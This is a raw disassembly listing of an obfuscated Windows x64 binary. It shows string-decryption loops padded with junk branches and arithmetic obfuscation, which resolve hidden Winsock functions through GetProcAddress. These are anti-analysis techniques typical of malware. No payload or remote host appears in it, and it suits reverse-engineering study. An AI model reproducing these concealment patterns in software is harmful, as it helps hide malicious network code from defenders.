sub r11b, al
lea edi, [r10 + r11]
add dil, 0x49
jmp 0x140062d70
add r11b, 0x17
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
add dil, 0x5f
jmp 0x140062d55
lea rdx, [rbp + 0x16a10bc]
jmp 0x140063824
lea rdx, [rbp + 0x16aae99]
jmp 0x140063824
lea rdx, [rbp + 0x40]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x48], rax
mov byte [rbp + 0x60], listen
mov byte [rbp + 0x61], 0x7b
mov byte [rbp + 0x62], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x63], WSAGetLastError
mov byte [rbp + 0x64], 0x7e
mov byte [rbp + 0x65], 0x6a
mov byte [rbp + 0x66], 0x19
mov byte [rbp + 0x67], 0x78
mov byte [rbp + 0x68], 0x7c
mov byte [rbp + 0x69], 0x61
mov byte [rbp + 0x6a], 0x7d
mov byte [rbp + 0x6b], WSACleanup
mov byte [rbp + 0x6c], 1
mov byte [rbp + 0x6d], WSACleanup
mov byte [rbp + 0x6e], 7
mov byte [rbp + 0x6f], 0xd7
xor eax, eax
mov qword [rbp + 0x70], rax
mov dword [rbp + 0x78], eax
mov byte [rbp + 0x7c], al
movabs rsi, 0x78f0b86ee5b6ae21
movabs r13, 0x5cb39a2a7c9166a5
movabs r12, 0x6ad2294cb1240a63
movzx edi, byte [rbp + 0x3e0]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x1d
jae 0x14006430c
movzx r10d, byte [rbp + r11 + 0x60]
mov rdx, r10
nop dword [rax]
cmp rbx, r11
ja 0x140064303
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400638fc
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
add dil, 0x19
jmp 0x140063936
je 0x140064298
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140064242
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14006420f
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400641ce
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140064186
cmp r8, r11
ja 0x1400642fa
lea rax, [r8 + 0x7a]
cmp rbx, rax
jae 0x140063960
lea ecx, [r11 - 0x4b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0xd
jmp 0x1400639a1
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140064169
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140064144
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140064124
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140064108
lea rax, [r8 + 7]
cmp rbx, rax
je 0x1400640bc
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140063e62
nop
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140063e42
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x140063e1d
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x140063df8
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x140063dd8
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140063dbc
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x140063da0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140063d80
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140063d61
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140063d33
mov rbx, rax
lea r8, [rax + 4]
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x1400642dd
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x1400642c0
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x140063b45
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x140063b2a
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x140063b0f
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x140063ce0
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x140063c93
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x140063c4a
lea rbx, [r8 + 0xa]
lea r8, [rbx + 6]
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x140063c20
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x140063c01
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x140063bde
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x140063bbf
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x140063ba4
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x140063b85
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x140063b60
lea rbx, [r8 + 0x20]
lea r8, [rbx + 9]
jmp 0x1400639b0
lea ecx, [r11 - 0x15]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6d
jmp 0x1400639a1
lea ecx, [r11 - 0x57]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x61
jmp 0x140063936
lea ecx, [r11 + 0x67]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x2f
jmp 0x1400638c6
lea edx, [r11 + 0x24]
movzx eax, dl
and al, r10b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x1400638b6
lea ecx, [r11 - 0x1e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2e
movzx r9d, r11b
jmp 0x1400641ec
lea ecx, [r11 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
jmp 0x140064226
lea edx, [r11 + 0x5e]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140064229
lea edx, [r11 + 0x1c]
movzx eax, dl
and al, r10b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx r9d, r11b
jmp 0x1400640da
lea edx, [r11 - 0x26]
movzx eax, dl
and al, r10b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006425b
lea ecx, [r11 - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x28
movzx eax, byte [rbp + r11 + 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x1400638b6
lea edx, [r11 - 0x4f]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x29
add dil, dl
cmp r8, 0x61
jb 0x140064074
movzx r9d, r11b
lea edx, [r9 + 0x26]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x14]
jmp 0x1400641a4
lea edx, [r11 + 0x6f]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 9
add dil, dl
cmp rbx, 0x400
jae 0x140064081
lea rax, [r8 + 0x2a]
cmp rbx, rax
jbe 0x140063fb9
lea edx, [r11 - 0x6e]
movzx eax, r10b
and al, dl
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x140063c61
lea edx, [r11 + 0x2d]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x3b
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 0x200
je 0x1400640a2
lea rax, [r8 + 0x41]
cmp rbx, rax
jbe 0x140063f3c
lea edx, [r11 - 0x23]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0xb
jmp 0x140063caa
lea edx, [r11 + 0x3e]
movzx eax, r10b
and al, dl
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
movzx eax, byte [rbp + r11 + 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x1400638b6
lea edx, [r11 - 4]
movzx eax, r10b
and al, dl
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14006425b
movzx r9d, r11b
lea edx, [r9 - 0x46]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x16
jmp 0x1400640d7
lea ecx, [r11 + 0x78]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x48
jmp 0x140064229
lea ecx, [r11 + 0x36]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x7a
jmp 0x140064226
movzx r9d, r11b
lea edx, [r9 - 0xc]
movzx eax, r10b
and al, dl
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x1400641e9
lea edx, [r11 - 0x4e]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
dec r11
inc r11
jmp 0x1400638b6
lea ecx, [r11 + 0x70]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x10
inc r8
dec r11
inc r11
jmp 0x1400638b6
lea edx, [r11 + 0x2e]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x42
movzx r9d, r11b
jmp 0x1400641a1
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jae 0x140063e8a
lea edx, [r11 + 0x21]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x19
jmp 0x140063cf7
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140063ec1
lea edx, [r11 + 0x6a]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
movzx eax, byte [rbp + r11 + 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x1400638b6
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140063eea
movzx r9d, r11b
lea edx, [r9 - 0x12]
movzx eax, r10b
and al, dl
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x1400640d7
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140063f0f
lea ecx, [r11 + 0x30]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x50
jmp 0x140064229
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140063cfa
movzx r9d, r11b
lea edx, [r9 + 0x7a]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x56
jmp 0x1400641a1
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140063f65
movzx r9d, r11b
lea edx, [r9 + 0x1f]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x27
jmp 0x1400641a1
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140063f90
lea ecx, [r11 - 0x5d]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x75
dec r11
inc r11
jmp 0x1400638b6
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140063cad
lea ecx, [r11 + 0x27]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x11
jmp 0x140064226
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140063ff0
lea edx, [r11 - 0x2c]
movzx eax, r10b
and al, dl
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
movzx eax, byte [rbp + r11 + 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x1400638b6
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140064019
movzx r9d, r11b
lea edx, [r9 + 0x58]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x68
jmp 0x1400640d7
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140064042
movzx r9d, r11b
lea edx, [r9 + 0x1e]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x1400641e9
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140063c64
lea edx, [r11 + 0x60]
movzx eax, r10b
and al, dl
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
dec r11
inc r11
jmp 0x1400638b6
mov byte [rbp + r11 + 0x60], dil
inc r11
jmp 0x1400638b6
movzx r9d, r11b
lea edx, [r9 + 0x68]
movzx eax, dl
and al, r10b
movzx ecx, byte [rbp + r11 + 0x60]
sub cl, al
add cl, 0x14
lea edi, [rcx + rcx]
jmp 0x1400641e9
movzx r9d, r11b
lea edx, [r9 - 0x56]
movzx eax, r10b
and al, dl
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
jmp 0x1400640d7
movzx r9d, r11b
lea edx, [r9 - 0x7d]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x6b
add dil, dl
sub r9b, 0x35
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0x73
add r9b, r10b
movzx eax, r9b
mov byte [rbp + r11 + 0x60], al
inc r8
add rax, r8
sub r11, rax
jmp 0x14006425b
lea ecx, [r11 + 0x41]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
add dil, 0x39
jmp 0x140064229
movzx r9d, r11b
lea edx, [r9 - 0x43]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x2b
jmp 0x1400641e9
lea ecx, [r11 + 0x39]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
add dil, 0x71
inc r8
dec r11
inc r11
jmp 0x1400638b6
movzx r9d, r11b
lea edx, [r9 - 9]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x3f
jmp 0x1400641a1
movzx r9d, r11b
lea edx, [r9 + 0x73]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x25
add dil, dl
add r9b, 0x47
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0xf
add r9b, r10b
mov byte [rbp + r11 + 0x60], r9b
inc r8
dec r11
inc r11
jmp 0x1400638b6
movzx r9d, r11b
lea edx, [r9 - 0x53]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x45
add dil, dl
sub r9b, 0x77
movzx eax, r9b
and al, r10b
add al, al
movzx ecx, dil
sub cl, al
add cl, 0x41
add cl, r9b
add cl, r10b
mov byte [rbp + r11 + 0x60], cl
jmp 0x140064226
lea ecx, [r11 + 0x6b]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
add dil, 0x13
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400638b6
lea rcx, [r11 + r13]
movzx r10d, dl
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x7d
lea ecx, [r11 - 0x14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x74
add cl, r10b
mov byte [rbp + r11 + 0x60], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x1400638b6
lea rcx, [r11 + r12]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
add dil, 0x4b
movzx eax, byte [rbp + r11 + 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x1400638b6
add r11b, 0x25
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 3
jmp 0x1400638b3
sub r11b, 0x1d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x35
jmp 0x1400638a3
lea rdx, [rbp + 0x17cfe8c]
jmp 0x140064310
lea rdx, [rbp + 0x73acad]
jmp 0x140064310
lea rdx, [rbp + 0x60]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x50], rax
mov byte [rbp + 0x80], 0x2b
mov byte [rbp + 0x81], gethostname
mov byte [rbp + 0x82], 0xc6
mov byte [rbp + 0x83], 0x24
mov byte [rbp + 0x84], 0x2d
mov byte [rbp + 0x85], 0xd3
mov byte [rbp + 0x86], 0x2a
mov byte [rbp + 0x87], 0xd0
mov byte [rbp + 0x88], 0xdf
mov byte [rbp + 0x89], gethostname
mov byte [rbp + 0x8a], 0xd5
mov byte [rbp + 0x8b], 0xd5
mov byte [rbp + 0x8c], 0x23
mov byte [rbp + 0x8d], recvfrom
mov byte [rbp + 0x8e], 0x4e
xorps xmm0, xmm0
movups xmmword [rbp + 0x8f], xmm0
movabs rsi, 0xc2508d35f08297cc
movabs r12, 0xd4d4f6e57497562c
movabs r13, 0x46f1a7a1d187c764
movzx edi, byte [rbp + 0x3e0]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
nop word [rax + rax]
xor r11d, r11d
cmp r11, 0x1f
jae 0x140064ef7
movzx r10d, byte [rbp + r11 + 0x80]
mov r9, r10
nop dword [rax]
cmp rbx, r11
ja 0x140064eee
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14006441c
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, r10
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r10
add dil, 0x6c
jmp 0x140064463
je 0x140064e74
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140064e45
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140064e2a
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140064de2
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140064dbd
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140064d6f
cmp r8, r11
ja 0x140064ee5
lea rax, [r8 + 0x61]
cmp rbx, rax
jae 0x14006448d
lea ecx, [r11 - 0x44]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x24
jmp 0x1400644c1
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140064d53
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140064d48
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140064d36
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140064d1b
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140064a00
nop
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x1400649ee
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x1400649c6
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x1400649b8
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140064999
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14006497b
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x140064960
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006493d
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14006491e
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x1400648ed
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x1400644d0
lea rbx, [r8 + 0x3e8]
lea r8, [rbx + 0x80]
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x140064ec5
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x140064ea5
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x1400646c0
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x1400646a5
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x14006468a
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x1400648a0
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x140064857
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x140064813
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x1400647e9
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x1400644d0
lea rbx, [r8 + 0x1000]
lea r8, [rbx + 0x3e8]
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x1400647b8
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x14006479d
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x14006477e
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x140064763
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x140064742
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x140064730
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x140064722
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x1400646fa
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x1400646db
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x1400644d0
lea rbx, [r8 + 0x7a]
lea r8, [rbx + 0x1000]
jmp 0x1400644d0
lea ecx, [r11 - 0x3c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5c
jmp 0x1400644c1
lea ecx, [r11 + 0x2c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x34
jmp 0x140064463
lea ecx, [r11 - 0x6c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xc
jmp 0x1400643e6
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
movzx r9d, r11b
jmp 0x140064d8d
lea edx, [r11 + 0x48]
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x1400643d3
lea edx, [r11 - 0x50]
mov ecx, 0x18
jmp 0x140064dc6
lea edx, [r11 + 0x18]
mov ecx, 0x2c
movzx r9d, r11b
jmp 0x140064def
lea ecx, [r11 + 0x80]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x80
add rbx, r8
jmp 0x140064e5b
lea ecx, [r11 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x58
jmp 0x140064e5b
lea ecx, [r11 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x30
movzx r9d, r11b
jmp 0x140064caa
lea ecx, [r11 - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 8
jmp 0x140064cd8
lea edx, [r11 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0x80]
add rax, r8
add r11, rax
inc r11
jmp 0x1400643d3
lea edx, [r11 + 0x24]
movzx eax, dl
and al, r10b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
mov byte [rbp + r11 + 0x80], dil
inc r11
jmp 0x1400643d3
lea edx, [r11 - 0x74]
movzx eax, dl
and al, r10b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp r8, 9
jb 0x140064803
movzx r9d, r11b
lea ecx, [r9 + 0x48]
movzx eax, cl
and al, r10b
mov edx, 4
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x140064d8d
lea edx, [r11 - 0xc]
movzx eax, dl
and al, r10b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp rbx, 6
jae 0x140064c63
lea rax, [r8 + 0x40]
cmp rbx, rax
jbe 0x140064b73
lea ecx, [r11 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x68
jmp 0x14006482d
lea edx, [r11 + 0x5c]
movzx eax, dl
and al, r10b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
lea rax, [r8 + rbx]
cmp rax, 4
je 0x140064c88
lea rax, [r8 + 0x20]
cmp rbx, rax
jbe 0x140064ad4
lea ecx, [r11 - 0x64]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x44
jmp 0x140064871
lea edx, [r11 + 0x68]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0x80]
add rax, r8
add r11, rax
inc r11
jmp 0x1400643d3
lea edx, [r11 - 0x30]
movzx eax, dl
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140064cd8
movzx r9d, r11b
lea edx, [r9 + 0x38]
movzx eax, dl
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140064caa
lea ecx, [r11 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
jmp 0x140064e5b
lea ecx, [r11 + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x38
add rbx, r8
jmp 0x140064e5b
movzx r9d, r11b
lea ecx, [r9 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x10
jmp 0x140064e00
lea edx, [r11 - 0x28]
mov ecx, ntohs
jmp 0x140064dc6
lea edx, [r11 + 0x40]
movzx eax, dl
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x1400643d3
movzx r9d, r11b
lea edx, [r9 - 0x58]
mov ecx, 0x34
jmp 0x140064d7c
lea rax, [r8 + 0x80]
cmp rbx, rax
jae 0x140064a20
lea edx, [r11 - 0x34]
movzx eax, dl
and al, r10b
mov ecx, gethostname
jmp 0x1400648af
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140064a56
lea ecx, [r11 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x48
movzx eax, byte [rbp + r11 + 0x80]
add rax, r8
add r11, rax
inc r11
jmp 0x1400643d3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140064a7a
lea ecx, [r11 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x70
jmp 0x140064cd8
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140064aa6
movzx r9d, r11b
lea edx, [r9 - 0x58]
movzx eax, dl
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140064caa
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400648ba
lea ecx, [r11 + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x38
dec r11
inc r11
jmp 0x1400643d3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140064afc
movzx r9d, r11b
lea ecx, [r9 + 0x34]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6c
jmp 0x140064d8d
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140064b2d
lea edx, [r11 - 0x34]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x1400643d3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140064b48
movzx r9d, r11b
lea edx, [r9 - 4]
mov ecx, recvfrom
jmp 0x140064def
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140064871
lea ecx, [r11 - 0x6c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xc
add rbx, r8
jmp 0x140064e5b
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140064bad
lea edx, [r11 - 0x10]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0x80]
add rax, r8
add r11, rax
inc r11
jmp 0x1400643d3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140064bd9
movzx r9d, r11b
lea edx, [r9 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140064caa
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140064c01
movzx r9d, r11b
lea ecx, [r9 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x58
jmp 0x140064e00
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140064c2e
lea ecx, [r11 + 0x80]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
